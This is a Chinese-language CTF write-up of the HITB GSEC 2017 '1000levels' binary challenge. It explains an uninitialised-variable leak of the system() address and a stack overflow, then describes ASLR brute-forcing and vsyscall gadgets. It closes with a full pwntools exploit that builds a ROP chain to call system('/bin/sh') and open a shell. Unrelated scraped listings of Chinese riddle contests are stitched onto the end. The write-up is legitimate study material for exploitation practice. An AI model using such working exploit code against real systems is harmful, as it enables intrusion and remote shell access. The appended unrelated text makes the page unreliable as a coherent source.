【HITB GSEC CTF 2017】1000levels

https://files.cnblogs.com/files/p4nda/498a3f10-8976-4733-8bdb-30d6f9d9fdad.gz

#通过阅读天枢战队大佬们的wp调试的结果

首先查看一下该elf文件的保护情况:

是64位程序,有PIE、NX保护,没有canary保护,怀疑是栈溢出类型。

开始寻找溢出点,通过阅读ida得到的代码,大致分析一下文件含义:

main:

main函数比较简单,逻辑很明显,有两个貌似有用的函数,hint()、go()。不断在这两个函数中循环。

先看hint:

hint:

如果show_hint为1.则提示system函数的地址。show_hint位于bss段。难道是福利?

想多了= =。因为具有PIE保护,所以BSS段的地址也是随机的,而且还没找到可以任意的漏洞,暂时丢在这里。

但从C代码看不出什么,可以看一下汇编代码,

可以看到,虽然show_hint标识为0,但栈内仍然有这个system的地址(这很重要)

接下来看go函数:

go函数中有点问题,可以看到v5是没有赋初值的。当v2<=0时,v5就是脏数据了。 //这是第二点

进入hint函数:

hint函数中可以看得到一个明显的栈溢出, buf变量是8字节,而输入是400u,可以溢出覆盖很长一段空间,猜测这也就是可以利用的溢出漏洞。

综上,程序分析结束,找到溢出漏洞一处,思路就可以是利用shellcode或者rop技术来执行命令。

因为有NX保护存在所以只能用ROP来利用漏洞,对rop的长度没有限制,但是,由于ASLR和PIE的存在导致无法直接获得system函数的地址,幸亏有hint这样一个函数。

从上文可以看到,在hint函数中,system的地址防止在rbp-110这样的位置:

而我们找到的脏数据使用v5恰巧也是是定义在这个位置

因此,当第一次输入为0时,v5就是system的地址。通过这个地址,可以爆破得到system的地址。

想法是这样的:

猜测system第地址为i时,如果输入-i,当i>system的地址时,得到的v6<0会输出coward字样,按位猜解从高位到低位就可以顺次找到各位的system值。

要爆破几位呢?

通过其他技术博客:http://www.cnblogs.com/wangaohui/p/7122653.html

知道,aslr的作用原理是这样的:

函数加载与mmap相同

mmap随机的位数由mmap_rnd_bits表示,在64位下是28比特,经过计算在64位平台下mmap的基地址是:page_align(0x7ffbf8000000-rand),而其中的rand在是28比特的数字左移12位。当mmap的基地址确定后,在各个系统中,程序运行起来时各个模块(不包括pie程序的主模块、但包括各个动态链接库)与mmap的基地址的偏移是固定的,因此这些模块加载地址的随机化也在28比特。

因此rand是 xxxxxxx000这样的,而使用了减法,因此影响了system地址中间8*4的地址值,故简单的可爆破8*4bit

而当爆破某位时,当小于system地址时,需要进行1000次的运算,在运算中由于存在栈溢出漏洞,可以覆盖预期结果的地址,因此很简单。

当运算999次后,会停止运算并退出,如果退出,再次进入时就失效了,因此必须通过溢出覆盖返回地址,强行使程序恢复到程序开头。

栈地址中恰巧存在start函数地址,因此可以使用它来返回函数的初始状态。

但由于程序开启了PIE保护,无法从elf文件中直接跳转至main函数或寻找gadget,因此想到使用vsyscall来充当gadget(这部分在系统中地址始终不变。)

通过如上步骤就可以爆破出system地址,再由libc可以找到libc中“/bin/sh”的地址。

最后使用ROPgadget找到一个在libc中“pop rdi  , ret”作为传参gadget就可以利用栈溢出漏洞,来使用rop进行命令执行了:

附上exp:

from pwn import *

p = process(‘./1000levels‘)

debug = 0
if debug:
    context.log_level = ‘debug‘
def hint():
    p.sendlineafter(‘Choice:‘,‘2‘)

def go(first,more):
    p.sendlineafter(‘Choice:‘,‘1‘)
    p.sendlineafter(‘levels?‘,str(first))
    p.sendlineafter(‘more?\n‘,str(more))

def calc(num):
    p.recvuntil(‘Answer:‘)
    p.send(num)

def leak():

    start = 0x700000000390
    for i in range(10,2,-1):
        for j in range(15,-1,-1):
            hint()
            addr_test = (1 << (i*4) )* j + start
            go(0,-addr_test)
            a = p.recvline()
            #print hex(addr_test)
            if ‘Coward‘ not in a:
                start = addr_test

                log.info(‘check ‘+ hex(addr_test))
                break
        pro = log.progress(‘go‘)
        for i in range(999):
            pro.status(‘level %d‘%(i+1))
            calc(p64(0)*5)
        calc(p64(0xffffffffff600400)*35)
        pro.success(‘ok‘)
    return start + 0x1000

if debug:
    gdb.attach(p)

#go(1,0)

#
system_addr = leak()
print ‘[+] get system addr:‘, hex(system_addr)
libc = ELF(‘./libc.so‘)
system_addr_libc = libc.symbols[‘system‘]
bin_sh_addr_libc = next(libc.search(‘/bin/sh‘))

bin_sh_addr = bin_sh_addr_libc + system_addr - system_addr_libc

gadget = system_addr - system_addr_libc + 0x21102

payload = p64(gadget) + p64(bin_sh_addr) + p64(system_addr)

go(1,0)
exp = ‘a‘*0x38 + payload
calc(exp)

p.interactive()

最后,膜拜大佬们的思路。

时间: 2024-07-30 05:05:20

【HITB GSEC CTF 2017】1000levels的相关文章

【谜情文化宫群】2017年3月18日淘沙浪主擂谜会题

[谜情文化宫群]2017年3月18日淘沙浪主擂谜会题 1.大庆出油不掺水(8笔字)庙2.不知后来谁发言(13笔字)雉3.一时失察斩蔡瑁(成语)操之过急4.领导就该被忽悠(4字口语)上当受骗5.淘沙浪同意先讲棋(8笔字)泣6.坐下够不着(2字词 徐妃)垃圾7.只给弟妹发红包(5字口语)老大不高兴8.真心见面她也不来(9笔字)耍9.地球村(五唐一句)天涯若比邻10.迷路(3字口语)不知道11.鲁迅已及期颐(成语)百年树人12.以谜会友(5字口语)不打不相识13.越大越丑了(视目)少帅14.高尔基首先

【四海谜城群】2017年3月18日山涧流水主擂谜会题

[四海谜城群]2017年3月18日山涧流水主擂谜会题 1.娄底姑娘等你来(3笔字)女注:此谜三扣娄底为女姑娘扣女你也扣女女通汝,等于你2.残梅点点落山中(10笔字)悔3.倒出点心一大堆(12笔字)幂4.三八安排种萝卜(5笔字)外5.河边不要种花生(8笔字)咋6.欧美姑娘明日走(13笔字)腰7.别说李白没后代(4笔字)木8.画桥女生谱新曲(11笔字)营注:画桥象形冖女扣囗新曲拆分成艹和囗9.离开初恋到台北(7笔字)弃10.年届古稀看得失(9笔字)轶11.舍前双雀向天飞(9笔字)炯12.庭前时有东风

【谜之英群】2017年3月18日群友合擂谜会题

[谜之英群]2017年3月18日群友合擂谜会题 昵称:1.实话实说难过关. 四字交通用语 绕道通行. 2.名掦天下令人畏 錢币俗称 红一毛. 3.渝州挑夫有五徳 川菜名 山城棒棒鸡 4.良马配羽觞 瓷器收藏名词 高足杯. 5.夾生飯. 离合字. 炊欠火 蚂蚁尚书:1.下文扶贫,开发基层(卷帘格 3字网游道具)建帮令2.烤乳鸽(3字网游称谓)小菜鸟3.苦练为演刘皇叔(3字网游行为)修装备4.折腾亲自寻山去(3字网游地理名词)新手村5.才一进口就火了(2字网游事件)团灭6.你怕丑也好 妞泡茶也行 牛

【谜海拾贝群】2017年3月17日一生平安主擂谜会题

[谜海拾贝群]2017年3月17日一生平安主擂谜会题 1.一日为夫情爱生(九笔字)春2.不应有恨民动荡(四字医学词)无痛[人]流3.妄言意见请整改(十一笔字)望4.先前跟随贤内助(四字行程用语,含山西省地名)从太原来5.意思不要装十本(七笔字)杜6.白天离后月相伴(二字医学名词)失明7.景山之中月依依(七笔字)甫8.先睹为快(二字谦词)见笑9.宝园拆迁已完了(八笔字)国10.价钱一分都别涨(成语一)文不加点11.坡田硬要开田埂(十笔字)破12.但抛里头好味尽(二字歌曲名)九妹13.传言删除仙人来

【松陵文虎群】2017年3月18日邓铸坚(左江孤舟)主擂谜会题

[松陵文虎群]2017年3月18日邓铸坚(左江孤舟)主擂谜会题 试铃题:1.重峦引高节(字)茁2.“微生保子孙”(少笔字)小正式题:1.“千岁为玉童”(扑克名词)小王2.“梦里青春远去”(少笔字)夕3.有意偏偏无意(8笔字)侑4.“人生能几何”(3字股市用语)盘活量5.人如在图中(字)佟6.“长江不见鱼书至”(邮政名词)信息流7.雨后横山白(字)雪8.“行人天一畔”(少笔字)三9.“流水一通何时有”(渭水支流)千河10.月出高堂宴(10笔字)宵11.“汀洲春草生”(中国地名)青岛12.半夜待攻击

【谜海拾贝群】2017年3月25日群友合擂谜会题

[谜海拾贝群]2017年3月25日群友合擂谜会题 人心3条1.眉月斜钩,星横北斗(13笔字)戥北斗象形丶2.河边有几座桥(字)沉3.一扫码,加个人(11笔字)鸽逗号入谜 巽离3条1.言而无信者,大多吞下前言,尽留后语 (三字谜目) 奢侈品2.马孟起独来犯边 (古生物) 猛犸3.枪归仓,尤未晚,一夕白首,放马西凉 (明人)冯梦龙 蓝色彼岸4条1.勒令全家都出接 穴位三 蕉心 命门人中人迎 2. 人生七十古来稀 四字俗语 男女老少 3. 孤帆一片日边来 袁去华词一句 天际归舟 4. 皆非主力部队 成

【松陵文虎群】2017年3月25日陈昌年(有鸣仓庚)主擂谜会题

[松陵文虎群]2017年3月25日陈昌年(有鸣仓庚)主擂谜会题 试铃题:1.吃喝在先必下台(字)品2.一一来开弓(字)弗正式题:1.闭门推出窗前月(礼貌用语)关照2.兵对兵,将对将(数学名词)等角3.闯江湖(体育项目)冲浪4.从远古走来(学科)历史5.登斯楼也,则有心旷神怡,宠辱皆忘.把酒临风,其喜洋洋者矣(唐诗人)高适6.都是断肠句(古书)楚辞7.放学之后来引见(字)觉8.高空作业(天文名词)天干9.告别蛮柳有身孕(乐器)小腰鼓10.共和国的步伐(单位简称)中行11.艰苦朴素好传统(广告用语)

【金星源谜群】2017年3月24日洋洋主擂谜会题

[金星源谜群]2017年3月24日洋洋主擂谜会题 1.喝酒洒脱一口尽(字)曷2.饱食之后开始吹(字)饮3.离别之前八拜交(字)刘4.画中凝露杜鹃鸣(字)甫5.丫头过来倒酒水(字)遵6.走马离川寻高手(字)佛7.含泪闭眼接调函(字)浛8.边关力逃归北宋(字)桃9.胜者终存(字)星10.山中受劫先搏斗(二字动词)抖动 11.香腮半遮离别夫(二字人物性格评价语)胆大12.深居以后少探望(李白诗目)拟古13.半时速赶超杨坤(四字口语)走走过场14.心若接受财先抛(<聊斋志异>篇目)爱才15.古居布置一

【谜情文化宫群】2017年3月25日风卷帘主擂谜会题

[谜情文化宫群]2017年3月25日风卷帘主擂谜会题 1.吃了前卒再破士(11笔字)乾2.上不表态下顿言(10笔字)唇3.有错之后终受罚(11笔字)谕4.讲得动情记心间(10笔字)诸5.按捺示情泪水起(8笔字)拔6.冬汛撒网斗无收(7笔字)没7.先前动情把词填(10笔字)调8.阁下远离门,起冷母心牵(14笔)瘙9.凡尘尽化居山中(少笔字)亿10.前卫雄起独支撑(少笔字)勾11.阶下拥抱将分别(7笔字)扼12.拆白人沦阶下囚(7笔字)但13.尘起逍遥水阁前(10笔字)通14.当离川边花落尽(11笔